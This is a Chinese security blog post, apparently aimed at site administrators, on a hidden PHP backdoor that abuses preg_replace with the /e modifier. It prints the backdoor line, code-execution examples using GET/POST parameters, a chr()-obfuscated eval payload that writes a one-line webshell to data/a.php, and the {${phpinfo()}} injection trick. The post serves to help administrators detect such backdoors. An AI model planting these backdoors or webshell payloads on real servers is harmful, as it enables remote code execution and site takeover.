驱动管家:安全、高效、精准的专业驱动下载站!

查找网站php木马 preg_replace代码极度危险

2018-03-14 08:56:13责编:llp   来源:驱动管家     人气:

事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。

后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。

哈哈,遇到小黑蛮细心的。

然后通过分析发现,小黑的访问的文件发现代码:

@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。

查找网站php木马 preg_replace代码极度危险

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。

举例:

echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

如果我们要POST的话,我们测试提交下面的代码会怎么样呢?

h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))

密文对应的明文是:

fputs(fopen(data/a.php,w),);

执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

这个就恐怖了吧。。。。

再来一个有难度的例子:

复制代码

代码如下:

function test($str)

{

}

echo preg_replace(“/s*[php](.+?)[/php]s*/ies”, ‘test(“\1″)’, $_GET["h"]);

?>

提交 ?h=phpinfo() ,phpinfo()会被执行吗?

肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。

有没有办法让它执行呢?

当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?

在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。

可以先做如下测试:

echo “{${phpinfo()}}”; phpinfo会被成功执行了。

所以,各位查找后门的时候注意查找下。

OK,说了那么多,也了解了,以上我给的代码:

@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助

作者:合肥制造

  • 网站后台维护方法 怎么挖掘后台脚本漏洞?

    网站后台维护方法 怎么挖掘后台脚本漏洞?

    以前写的文章,今天整理到的,这是以前搞脚本安全的一些经验,扔出来,当时靠 DW的确检测了很多脚本安全问题。BY:乱雪来源:0xx org cn挖掘脚本漏洞和软件漏洞相比来说更容易一些,门槛也很低,不需要掌握汇编

    详情2018-01-29 15:26:48责编:llp   来源:驱动管家     
  • 加密文件系统efs怎么加密文件?efs怎么解密?

    加密文件系统efs怎么加密文件?efs怎么解密?

    经常看到对文件和文件夹加密的文章,大多是安装各种软件来实现的,如果你的系统是WinXP Win2003 2000,就没有必要如此兴师动众地加密了,既不需要你安装软件,也不需要繁琐的操作,因为Windows本身就集成了EFS(En

    详情2018-01-11 13:35:09责编:llp   来源:驱动管家     
  • 网络安全知识 揭秘网络安全的五个误区

    网络安全知识 揭秘网络安全的五个误区

    网络安全越来越成为一个大问题,网络安全事故和个人隐私数据泄露的频发,我们不得不对自己的信息加以保护,一起来看看网络安全自己的一系列误区吧。选择一个话题,什么话题都行,始终有一些人信以为真的误区和无

    详情2018-01-08 17:58:17责编:llp   来源:驱动管家     
  • 防止用户隐私泄露要学会禁用cookie功能

    防止用户隐私泄露要学会禁用cookie功能

    随着网络安全知识的普及,越来越多的用户知道了Cookie功能会造成用户的隐私泄露,Cookie实际上是一些小的数据包,里面包含着关于你网上冲浪习惯的信息,可以方便你以后的操作,但随后就为因特网上了解Cookie的站

    详情2018-03-03 14:02:21责编:llp   来源:驱动管家     
  • 学习软件破解的经验总结 软件破解学习需要了解哪些概念?

    学习软件破解的经验总结 软件破解学习需要了解哪些概念?

    下面谈到了一些在学习解密过程中经常遇到的问题,本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的,根据我自己的学习经历,如果你直接照着很多破解教程去学习的话,多半都会把

    详情2018-01-21 09:42:13责编:llp   来源:驱动管家     
  • 安装win xp电脑出现系统漏洞怎么封堵?

    安装win xp电脑出现系统漏洞怎么封堵?

    微软Windows Xp自出世以来就在中国市场中获得了广泛好评和客户的认同,它出色的兼容性和移动性也被业界所推崇。但是金无足赤、Windows Xp也照样存在着系统漏洞。如果我们对此不加强防范的话,网上黑客就会利用

    详情2018-01-10 16:50:27责编:llp   来源:驱动管家     
  • 隐藏木马启动的几种方法 怎么解决文件关联问题?

    隐藏木马启动的几种方法 怎么解决文件关联问题?

    木马的最大的特点之一就是它一定是要和系统一起启动而启动,否则它就完全失去了意义!下面为大家介绍一下它的几种隐藏启动的方法:方法一:注册表启动项:这个大家可能比较熟悉,请大家注意以下的注册表键值:HKEY_

    详情2018-02-26 19:57:09责编:llp   来源:驱动管家     
  • 抵御ddos攻击需要做什么?怎么部署ddos攻击的防御方法?

    抵御ddos攻击需要做什么?怎么部署ddos攻击的防御方法?

    对于DDoS攻击来说并没有100%有效的防御手段。但是由于攻击者必须付出比防御者大得多的资源和努力才能拥有这样的“动力”,所以只要我们更好的了解DDoS攻击,积极部署防御措施,还是能够在很大程度上缓解和抵御这

    详情2018-03-02 09:02:08责编:llp   来源:驱动管家     
  • 保存软件程序代码内存的方法 这个简单函数可以办到

    保存软件程序代码内存的方法 这个简单函数可以办到

    有时,有些软件有保护,看不到他程序内部是怎么一个样,如果想简单的把他的内存保存下来!我写了一个简单的函数,调用一下就可以把DLL和EXE的内存里的信息全部导到文件里!到时再慢慢查吧!usesTlHelp32;procedure

    详情2018-02-14 19:12:59责编:llp   来源:驱动管家     
  • 如何测试win2003 IIS6解析漏洞?测试方法是什么?

    如何测试win2003 IIS6解析漏洞?测试方法是什么?

    新win2003 IIS6解析漏洞,大家可以参考下,注意防范。严重程度:高威胁程度:突破格式限制错误类型:不提示利用方式:客户机模式受影响系统Microsoft Windows Server 2003 IIS6 0详细描述把上传文件名改成X

    详情2018-03-08 15:48:51责编:llp   来源:驱动管家